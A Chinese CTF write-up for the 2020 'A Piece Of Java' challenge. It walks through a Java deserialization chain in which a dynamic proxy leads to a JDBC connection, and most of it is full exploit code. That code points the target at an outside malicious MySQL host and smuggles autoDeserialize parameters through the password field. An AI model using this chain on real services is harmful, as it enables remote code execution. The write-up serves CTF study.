[羊城杯 2020]A Piece Of Java
源码逻辑不难,在hello路由对设置cookie键名为data进行反序列化
问题是用的是seriakiller进行的反序列化,并且用的白名单限制。
虽然题目自带了CC但是因为这个设置没法直接用。
看一下题目给的条件,有个InfoInvocationHandler
package gdufs.challenge.web.invocation;
import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;
public InfoInvocationHandler(Info info) {
this.info = info;
}
public Object invoke(Object proxy, Method method, Object[] args) {
try {
if (method.getName().equals("getAllInfo") &&
!this.info.checkAllInfo().booleanValue())
return null;
return method.invoke(this.info, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
这个invoke肯定是能利用的,关键就在这
回到刚刚的hello路由,反序列化之后调用了info.getAllInfo()
Info info = (Info)deserialize(cookieData);
if (info != null)
model.addAttribute("info", info.getAllInfo());
再看给的DatabaseInfo类
所以思路很明确,利用动态代理触发InfoInvocationHandler的invoke方法,之后触发connect进行jdbc反序列化
调用链
反序列化->info.getAllinfo()->(动态代理)InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()
这里最开始想的是利用恶意mysql读文件的,但貌似某个配置没开所以没成功。
写exp
package YCB2020;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import org.nibblesec.tools.SerialKiller;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class exp {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
// public static void unserialize(byte[] bytes) throws Exception{
// try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
// ObjectInputStream oin = new ObjectInputStream(bain)){
// oin.readObject();
// }
// }
public static Object unserialize(byte[] bytes) throws Exception{
Object obj;
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
obj = oin.readObject();
return obj;
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
// private static Object deserialize(String base64data) {
// Object obj;
// ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
// try {
// SerialKiller serialKiller = new SerialKiller(bais, "/Users/fmyyy/tools/serialkiller.conf");
// obj = serialKiller.readObject();
// serialKiller.close();
// } catch (Exception e) {
// e.printStackTrace();
// return null;
// }
// return obj;
// }
public static void main(String[] args) throws Exception {
Info databaseInfo = new DatabaseInfo();
setFieldValue(databaseInfo, "host", "47.101.176.40");
setFieldValue(databaseInfo, "port", "33060");
setFieldValue(databaseInfo, "username", "fmyyy");
setFieldValue(databaseInfo, "password", "fmyyy&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Info.class);
construct.setAccessible(true);
// System.out.println("123");
InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo);
Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, handler);
byte[] bytes = serialize(proxinfo);
byte[] payload = Base64.getEncoder().encode(bytes);
System.out.print(new String(payload));
// Info info1 = (Info)deserialize(new String(payload));
// info1.getAllInfo();
}
}
恶意mysql和jdbc反序列化的利用参考https://ego00.blog.csdn.net/article/details/120963327